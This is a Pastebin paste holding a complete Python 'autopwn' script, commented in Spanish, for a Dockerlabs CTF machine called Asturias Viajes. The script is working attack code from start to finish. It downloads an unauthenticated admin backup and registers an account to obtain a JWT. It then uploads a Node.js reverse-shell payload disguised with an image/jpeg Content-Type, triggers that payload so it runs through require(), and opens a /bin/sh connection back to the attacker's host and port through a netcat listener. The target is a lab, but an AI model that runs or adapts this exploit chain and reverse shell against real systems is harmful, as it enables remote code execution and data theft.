mikisbd

Autopwn para CTF Asturias - Dockerlabs

Sep 29th, 2026 (edited)
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.62 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. Autopwn para CTF Asturias Viajes (Node.js + Swagger + RCE via galería)
  4. Uso: python3 autopwn_asturias.py <IP_OBJETIVO> <TU_IP> [PUERTO]
  5.  
  6. Ejemplo: python3 autopwn_asturias.py 172.17.0.2 172.17.0.1 4444
  7. """
  8.  
  9. import sys
  10. import os
  11. import time
  12. import json
  13. import base64
  14. import threading
  15. import subprocess
  16. import urllib.request
  17. import urllib.error
  18. import socket
  19.  
  20. # ==================== CONFIGURACIÓN ====================
  21. TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.17.0.2"
  22. LHOST = sys.argv[2] if len(sys.argv) > 2 else "172.17.0.1"
  23. LPORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
  24. BASE_URL = f"http://{TARGET}:3000"
  25. API_URL = f"{BASE_URL}/api"
  26.  
  27. # ==================== UTILIDADES ====================
  28.  
  29. def log(msg, level="*"):
  30.     """Imprime mensajes con formato."""
  31.     symbols = {"*": "[*]", "+": "[+]", "-": "[-]", "!": "[!]"}
  32.     print(f"{symbols.get(level, '[*]')} {msg}", flush=True)
  33.  
  34.  
  35. def http_request(url, method="GET", headers=None, data=None, timeout=15):
  36.     """Realiza una petición HTTP y devuelve el cuerpo como string."""
  37.     if headers is None:
  38.         headers = {}
  39.     if data is not None and isinstance(data, dict):
  40.         data = json.dumps(data).encode()
  41.         headers["Content-Type"] = "application/json"
  42.     req = urllib.request.Request(url, data=data, headers=headers, method=method)
  43.     try:
  44.         with urllib.request.urlopen(req, timeout=timeout) as resp:
  45.             return resp.read().decode(errors="replace")
  46.     except urllib.error.HTTPError as e:
  47.         return e.read().decode(errors="replace")
  48.     except Exception as e:
  49.         return f"ERROR: {e}"
  50.  
  51.  
  52. # ==================== FASE 1: RECONOCIMIENTO ====================
  53.  
  54. def check_target():
  55.     """Verifica que el objetivo responde."""
  56.     log("Fase 1: Verificando objetivo...")
  57.     out = http_request(f"{BASE_URL}/openapi.json")
  58.     if "openapi" in out:
  59.         log(f"Objetivo accesible: {BASE_URL}", "+")
  60.         return True
  61.     log("Objetivo no responde o no es la API esperada", "-")
  62.     return False
  63.  
  64.  
  65. def get_openapi():
  66.     """Obtiene la definición de la API."""
  67.     log("Fase 1: Obteniendo definición de la API...")
  68.     out = http_request(f"{BASE_URL}/openapi.json")
  69.     try:
  70.         spec = json.loads(out)
  71.         paths = list(spec.get("paths", {}).keys())
  72.         log(f"Endpoints encontrados: {len(paths)}", "+")
  73.         for p in paths:
  74.             log(f"  - {p}")
  75.         return spec
  76.     except Exception as e:
  77.         log(f"Error parseando openapi.json: {e}", "-")
  78.         return None
  79.  
  80.  
  81. # ==================== FASE 2: DESCARGA DEL BACKUP ====================
  82.  
  83. def download_backup():
  84.     """Descarga el backup completo (código fuente + base de datos)."""
  85.     log("Fase 2: Descargando backup (endpoint sin autenticación)...")
  86.     backup_url = f"{API_URL}/admin/backup"
  87.     out_path = "/tmp/asturias_backup.zip"
  88.    
  89.     try:
  90.         req = urllib.request.Request(backup_url)
  91.         with urllib.request.urlopen(req, timeout=60) as resp:
  92.             data = resp.read()
  93.         with open(out_path, "wb") as f:
  94.             f.write(data)
  95.         size_mb = len(data) / (1024 * 1024)
  96.         log(f"Backup descargado: {out_path} ({size_mb:.2f} MB)", "+")
  97.         return out_path
  98.     except Exception as e:
  99.         log(f"Error descargando backup: {e}", "-")
  100.         return None
  101.  
  102.  
  103. def extract_backup(zip_path):
  104.     """Extrae el backup."""
  105.     log("Fase 2: Extrayendo backup...")
  106.     extract_dir = "/tmp/asturias_backup"
  107.     os.makedirs(extract_dir, exist_ok=True)
  108.     try:
  109.         subprocess.run(["unzip", "-o", zip_path, "-d", extract_dir],
  110.                        capture_output=True, timeout=60)
  111.         log(f"Backup extraído en: {extract_dir}", "+")
  112.         return extract_dir
  113.     except Exception as e:
  114.         log(f"Error extrayendo: {e}", "-")
  115.         return None
  116.  
  117.  
  118. def audit_source(extract_dir):
  119.     """Audita el código fuente buscando la vulnerabilidad RCE."""
  120.     log("Fase 3: Auditando código fuente...")
  121.     gallery_js = os.path.join(extract_dir, "source/src/routes/gallery.js")
  122.    
  123.     if not os.path.exists(gallery_js):
  124.         log("No se encontró gallery.js", "-")
  125.         return False
  126.    
  127.     with open(gallery_js) as f:
  128.         content = f.read()
  129.    
  130.     # Verificar vulnerabilidades
  131.     checks = {
  132.         "ALLOWED_MIME_TYPES": "ALLOWED_MIME_TYPES" in content,
  133.         "file.mimetype sin validar": "file.mimetype" in content,
  134.         "require(absolutePath)": "require(absolutePath)" in content,
  135.         "path.extname(originalname)": "path.extname(file.originalname)" in content,
  136.     }
  137.    
  138.     for check, result in checks.items():
  139.         log(f"  {'✓' if result else '✗'} {check}")
  140.    
  141.     if all(checks.values()):
  142.         log("Vulnerabilidad RCE confirmada en gallery.js", "+")
  143.         return True
  144.     return False
  145.  
  146.  
  147. # ==================== FASE 4: REGISTRO ====================
  148.  
  149. def register_user():
  150.     """Registra un usuario y devuelve el token JWT."""
  151.     log("Fase 4: Registrando usuario...")
  152.     email = f"hacker_{int(time.time())}@test.com"
  153.     data = {
  154.         "name": "hacker",
  155.         "email": email,
  156.         "password": "password123"
  157.     }
  158.     out = http_request(f"{API_URL}/auth/register", method="POST", data=data)
  159.     try:
  160.         resp = json.loads(out)
  161.         token = resp.get("token")
  162.         if token:
  163.             log(f"Usuario registrado: {email}", "+")
  164.             log(f"Token JWT obtenido: {token[:50]}...", "+")
  165.             return token
  166.     except Exception:
  167.         pass
  168.     log(f"Error en registro: {out}", "-")
  169.     return None
  170.  
  171.  
  172. # ==================== FASE 5: PAYLOAD RCE ====================
  173.  
  174. def build_payload(lhost, lport):
  175.     """Genera el payload JS de reverse shell."""
  176.     payload = f"""
  177. const {{spawn}}=require('child_process'),net=require('net');
  178. const sh=spawn('/bin/sh',[],{{stdio:'pipe'}});
  179. const c=new net.Socket();
  180. c.connect({lport},'{lhost}',()=>{{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)}});
  181. c.on('error',()=>sh.kill());
  182. c.on('close',()=>sh.kill());
  183. sh.on('exit',()=>c.destroy());
  184. module.exports={{}};
  185. """
  186.     return payload.strip()
  187.  
  188.  
  189. def upload_payload(token, payload):
  190.     """Sube el payload como archivo .js con Content-Type falsificado."""
  191.     log("Fase 5: Subiendo payload RCE...")
  192.    
  193.     # Guardar payload temporalmente
  194.     payload_path = "/tmp/rev_shell.js"
  195.     with open(payload_path, "w") as f:
  196.         f.write(payload)
  197.    
  198.     # Construir multipart/form-data manualmente
  199.     boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(12)).decode()
  200.    
  201.     with open(payload_path, "rb") as f:
  202.         file_content = f.read()
  203.    
  204.     body = b""
  205.     body += f"--{boundary}\r\n".encode()
  206.     body += b'Content-Disposition: form-data; name="photo"; filename="rev.js"\r\n'
  207.     body += b"Content-Type: image/jpeg\r\n\r\n"
  208.     body += file_content + b"\r\n"
  209.     body += f"--{boundary}\r\n".encode()
  210.     body += b'Content-Disposition: form-data; name="caption"\r\n\r\n'
  211.     body += b"pwned\r\n"
  212.     body += f"--{boundary}--\r\n".encode()
  213.    
  214.     headers = {
  215.         "Authorization": f"Bearer {token}",
  216.         "Content-Type": f"multipart/form-data; boundary={boundary}"
  217.     }
  218.    
  219.     req = urllib.request.Request(
  220.         f"{API_URL}/gallery/upload",
  221.         data=body, headers=headers, method="POST"
  222.     )
  223.    
  224.     try:
  225.         with urllib.request.urlopen(req, timeout=30) as resp:
  226.             out = resp.read().decode()
  227.         resp_json = json.loads(out)
  228.         photo_id = resp_json.get("photo", {}).get("id")
  229.         filename = resp_json.get("photo", {}).get("filename")
  230.         log(f"Payload subido: ID={photo_id}, archivo={filename}", "+")
  231.         return photo_id
  232.     except Exception as e:
  233.         log(f"Error subiendo payload: {e}", "-")
  234.         return None
  235.  
  236.  
  237. # ==================== FASE 6: TRIGGER Y LISTENER ====================
  238.  
  239. def start_listener(lport):
  240.     """Inicia el listener en un hilo separado."""
  241.     log(f"Fase 6: Iniciando listener en puerto {lport}...")
  242.    
  243.     def listen():
  244.         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  245.         s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  246.         s.bind(("0.0.0.0", lport))
  247.         s.listen(1)
  248.         log(f"Listener activo en 0.0.0.0:{lport}", "+")
  249.         log("Esperando conexión...")
  250.        
  251.         conn, addr = s.accept()
  252.         log(f"¡Conexión recibida de {addr[0]}:{addr[1]}!", "+")
  253.         log("=" * 60)
  254.         log("SHELL INTERACTIVA (escribe comandos, Ctrl+C para salir)")
  255.         log("=" * 60)
  256.        
  257.         # Pasar a modo interactivo
  258.         os.system(f"nc -lvnp {lport}")  # Alternativa simple
  259.    
  260.     # Usar un hilo para el listener no es trivial con nc, así que lanzamos nc
  261.     # en una terminal separada (el usuario debe hacerlo manualmente)
  262.     log(f"⚠️  Abre OTRA terminal y ejecuta: nc -lvnp {lport}", "!")
  263.     log(f"   Luego presiona Enter para continuar...")
  264.     input()
  265.  
  266.  
  267. def trigger_rce(photo_id):
  268.     """Activa el RCE visitando el endpoint."""
  269.     log(f"Fase 6: Activando RCE (ID={photo_id})...")
  270.     url = f"{API_URL}/gallery/{photo_id}/file"
  271.     log(f"GET {url}")
  272.    
  273.     # Hacer la petición en un hilo para no bloquear
  274.     def trigger():
  275.         http_request(url, timeout=5)
  276.    
  277.     t = threading.Thread(target=trigger, daemon=True)
  278.     t.start()
  279.     time.sleep(1)
  280.     log("RCE activado", "+")
  281.  
  282.  
  283. # ==================== MAIN ====================
  284.  
  285. def main():
  286.     print("=" * 60)
  287.     print(f"  AUTOPWN ASTURIAS VIAJES")
  288.     print(f"  Target: {TARGET}:3000 | LHOST: {LHOST}:{LPORT}")
  289.     print("=" * 60)
  290.    
  291.     # Fase 1: Reconocimiento
  292.     if not check_target():
  293.         return 1
  294.     get_openapi()
  295.    
  296.     # Fase 2: Descarga y extracción
  297.     zip_path = download_backup()
  298.     if not zip_path:
  299.         return 1
  300.     extract_dir = extract_backup(zip_path)
  301.     if not extract_dir:
  302.         return 1
  303.    
  304.     # Fase 3: Auditoría
  305.     audit_source(extract_dir)
  306.    
  307.     # Fase 4: Registro
  308.     token = register_user()
  309.     if not token:
  310.         return 1
  311.    
  312.     # Fase 5: Payload
  313.     payload = build_payload(LHOST, LPORT)
  314.     photo_id = upload_payload(token, payload)
  315.     if not photo_id:
  316.         return 1
  317.    
  318.     # Fase 6: Listener + Trigger
  319.     log("=" * 60)
  320.     log("INSTRUCCIONES FINALES:", "!")
  321.     log(f"1. Abre OTRA terminal y ejecuta: nc -lvnp {LPORT}")
  322.     log(f"2. Vuelve aquí y presiona Enter")
  323.     log("=" * 60)
  324.     input()
  325.    
  326.     trigger_rce(photo_id)
  327.    
  328.     log("RCE lanzado. Revisa la otra terminal para la shell.", "+")
  329.     log("Si no conecta, verifica tu IP (LHOST) y que el puerto esté libre.", "!")
  330.    
  331.     return 0
  332.  
  333.  
  334. if __name__ == "__main__":
  335.     sys.exit(main())
Add Comment
Please, Sign In to add comment